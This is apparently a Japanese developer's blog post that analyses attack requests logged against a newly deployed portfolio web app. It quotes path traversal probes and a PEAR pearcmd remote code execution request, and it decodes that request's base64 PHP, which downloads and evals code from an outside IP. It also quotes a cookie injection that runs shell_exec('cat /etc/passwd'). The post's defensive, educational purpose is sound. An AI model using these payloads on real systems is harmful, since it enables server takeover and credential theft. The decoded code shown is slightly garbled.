はじめに
ポートフォリオとして作成した Web アプリケーションを公開してから 1 か月の間に発生した、攻撃と思われるリクエストを紹介します。
勉強を兼ねて自分なりに攻撃の意図を推測してみたのですが、多くの攻撃が PHP を標的としている一方で、私自身に PHP に関する知識がないため、誤りがある可能性があります。
何かありましたら、ご指摘いただけますと幸いです。
Web アプリケーションは、Spring Boot (Kotlin)
+ Vue.js
で開発し、AWS ECS(Fargate)
上で公開しました。
詳細については以下の記事にまとめておりますので、よろしければこちらをご覧ください。
パスおよびクエリパラメータを利用した攻撃
3CX Phone System のデータベースへの不正アクセス
/Electron/download/windows/Program%20Files/3CX%20Phone%20System/Data/DB/base/16384/16393
%20
は URL エンコードされたスペースを表すので、実際は以下のようなパスになるかと思います。
/Electron/download/windows/Program Files/3CX Phone System/Data/DB/base/16384/16393
パスには Electron
と 3CX Phone System
という文字列が含まれていますが、いずれも心当たりがありません。
調べたところ、Electron は JavaScript、HTML、CSS を使用してデスクトップアプリケーションを構築するためのフレームワーク。
3CX Phone System は VoIP(Voice over Internet Protocol)を使用して通話を行うためのソフトウェアベースの電話システムのようです。
/Program Files
ディレクトリは Windows においてプログラムファイルが格納されているディレクトリですが、/Electron/download/windows
は見慣れない形式のため、詳細は不明です。
ただ、後続のパス /3CX Phone System/Data/DB/base/16384/16393
と併せて考えると、3CX Phone System
のデータベースのベースディレクトリへのアクセスを試みていることが推測できます。
不正なファイルアップロードを試みる攻撃
/low-v/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/xIUMY.jsp
/low-v/cas/fileUpload/upload
というパスを見るに、ファイルをアップロードするエンドポイントが攻撃の標的であると考えられますが、アプリケーションではこのようなパスを提供していません。
次に token
パラメータですが、この値には Tomcat
の Web アプリケーションが配置される場所である /var/lib/tomcat8/webapps
が含まれています。
そのため、攻撃者は Web アプリケーションのディレクトリ構造を悪用した攻撃を試みている可能性があります。
イースターエッグの試行
?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
イースターエッグは、PHP のウェブページの末尾に特定のクエリパラメータを追加することで、PHP エンジンが特定の画像やページを表示する仕組みです。
この機能自体には脆弱性はないものの、脆弱性チェックに使用されることがあるそうです。
PHP PEAR システムを標的としたリモートコード実行攻撃
/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?eval(base64_decode('aWYoZmlsdGVyX3ZhcihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxGSUxURVJfVkFMSURBVEVfQk9PTEVBTikpe2V2YWwoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpKTt9ZWxzZXskaD1jdXJsX2luaXQoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpO2N1cmxfc2V0b3B0KCRoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGgsQ1VSTE9QVF9IRUFERVIsMCk7ZXZhbChjdXJsX2V4ZWMoJGgpKTtjdXJsX2Nsb3NlKCRoKTt9'));?>
クエリパラメータは一般的に 「&」 で区切られるため、lang パラメータには ../../../../../../../../usr/local/lib/php/pearcmd
という値が指定されていることが分かります。
アプリケーションではこのようなパラメータは使用していないのですが、Web アプリケーションで使われるパラメータの一つのため、これを悪用して攻撃を試みたものと思われます。
../../../../../../../../
の部分は、ファイルシステム内の上位ディレクトリに移動し、通常アクセスできないファイルにアクセスしようとする試みで、ディレクトリトラバーサル攻撃であることが伺えます。
/usr/local/lib
は Unix 系 OS で共有ライブラリを格納するためのディレクトリなので、PEAR という PHP の拡張機能やライブラリを管理するためのツールがインストールされたディレクトリを指しているのでしょうか。
続く +config-create+/
という部分ですが、これは通常のクエリパラメータの形式とは異なります。
「+」は通常、URL エンコードされたスペースを表すので、config-create
の前後はスペースを表している可能性が高いです。
また、config-create
はデフォルトの設定ファイルを作成する PEAR コマンドのようなので、pearcmd.php
という PEAR コマンドを実行するスクリプトファイルを使ってコマンドを実行させようとしているようにも思えますが、こちらも一般的な形式と異なります。
いくつかの可能性を調べてみましたが、PEAR は PHP の黎明期に広く使用されていたものの、近年はレガシーとみなされているようで、なかなか詳細な情報が見つけられず、具体的な意図は理解できませんでした。
続く文字列は PHP のコードであり、base64_decode()
関数で base64 エンコードされた文字列をデコードし、その結果を eval()
関数を使って実行させようとしています。
実際にデコードしてみると、以下のようなコードが渡されていました。
if (file_var("allow_url_fopen"), FILE_USE_INCLUDE_PATH)) {
eval(file_get_contents("http://93.123.39.76/x"));
exit;
}
$h = curl_init("http://93.123.39.76/x");
if ($h) {
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($h, CURLOPT_HEADER, 0);
eval(curl_exec($h));
curl_close($h);
}
攻撃者がリモートのサーバーからコードをダウンロードして実行させるためのコードのようです。
その他
クエリパラメータに関しては、この他にも token
や connectId
など、今回作成したアプリケーションでは使用していないものの、一般的によく使われるパラメータに対してランダムな文字列が指定されたリクエストが多くありました。
Cookie を利用した攻撃
CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw;
CSRF-TOKEN
という名前のクッキーの値に、PHP の shell_exec
関数を使用して、/etc/passwd
ファイルの内容を表示させるための文字列が含まれています。
攻撃者はサーバー上のユーザーアカウントや権限情報を収集しようとしていると考えられます。
さいごに
同じような内容の攻撃が繰り返されることが大半ではありましたが、必ず毎日攻撃とみられるリクエストがありました。
日々繰り返される攻撃に対する不安や戸惑いを感じながらも、新たな発見や学びが得られ、大変勉強になりました。